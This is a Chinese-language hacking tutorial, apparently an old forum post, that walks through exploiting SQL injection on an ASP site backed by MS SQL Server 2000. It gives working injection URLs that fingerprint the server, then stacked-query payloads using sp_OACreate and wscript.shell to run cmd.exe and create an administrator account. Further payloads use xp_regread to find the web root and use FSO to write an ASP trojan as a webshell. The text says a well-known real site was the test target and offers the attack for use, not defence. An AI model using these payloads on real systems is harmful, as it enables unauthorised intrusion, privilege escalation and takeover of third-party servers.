榨干MS SQL Server 最后一滴血
風云變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的ORACLE,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。
以下(使用一知名網站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這里就不多說這方面了。
MS SQL內置函數介紹:
@@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶 Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱
這些信息有助我們對系統進行簡單的了解
好,下面我們就開始吧!
語句:
http://www.xxx.com/list.asp?classid=1'
返回信息:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.asp,行290;
從這里未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290;
相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL SERVER 后面的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該了解數據庫的權限了:
語句:
http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
返回: 正常返回的信息
確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個DBO用戶。
返回原理根1=1,1=2相似..這里只是權限測試,我們也把它爆出來看看:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290;
說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。
語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290
這樣就可以爆出當前的數據庫。得到這么高權限的數據庫連接成員,我們當然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取決于當前服務器的配置,如果配置不合理的服務器,我們要直接拿NT ADMIN,拿NT ADMIN就要用到:
MSSQL內置存儲過程:
sp_OACreate (通過它,危害很得更大,但是需要有SYSADMINS權限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop
由于MS SQL一次可以執行多語句,使得我們有機會使用更多的語句。
語句:
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user cntest chinatest /add'
正常返回。(提示:如果主機上shell存在的話那將在服務器上創建一個cntest的用戶)
創建用戶了,語句后再加個net localgroup administrators cntest /add加到管理組中。 如果對方的機子開著3389端口,或IPC的話,那接下來的事,就不用我多說了。
遇到專業型主機,只開一個80端口,那應該怎么辦呢?當然,我們還是可能拿到WEBSHELL,再慢慢滲透的。
由于權限高,我們可能先建表,寫入ASP木馬的數據再通過MAKEWEBTASK,得到WEBSEHLL.手工寫入的程序太過于繁鎖,上傳WEBSHELL最大的問題還是網頁目錄,現在網上已經有現成的工具通過BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):
利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):
語句:
http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test);
IIS的默認路徑的在注冊表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots
利用爆字段將數據庫的值讀出來:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 'E:www,,201' 轉換為數據類型為 int 的列時發生語法錯誤。;
這說明網頁目錄在E:www,接下來也可以利用FSO直接寫入ASP木馬(提示必須擁用SYSADMIN權限才可使用FSO和FSO開入的前提下) :
語句:
http://www.xxx.com/list.asp?class=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:wwwtest.asp',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'
在E:WWW下創建一個test.asp并寫入On Error Resume next語句:
http://www.xxx.com/list.asp?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e:wwwtest.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '
在E:WWWtest.asp增加一行記錄,記錄為asp horse, 整個完整木馬可能這樣寫入。(%百分號要用%25替代寫入)。如果得不到網頁目錄,怎么辦呢?前提你要猜到網站是否使用默認WEB,或者使用域名作為WEB。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootmkwebdir.vbs -w '默認 Web 站點' -v 'e','e:'’;
在默認的WEB站點下創建一個虛擬目錄E,指向E:盤下。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse’
給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳WEBSHELL利用MS SQL為我們的工作告了一段落了,接下來工作應該由你來了。
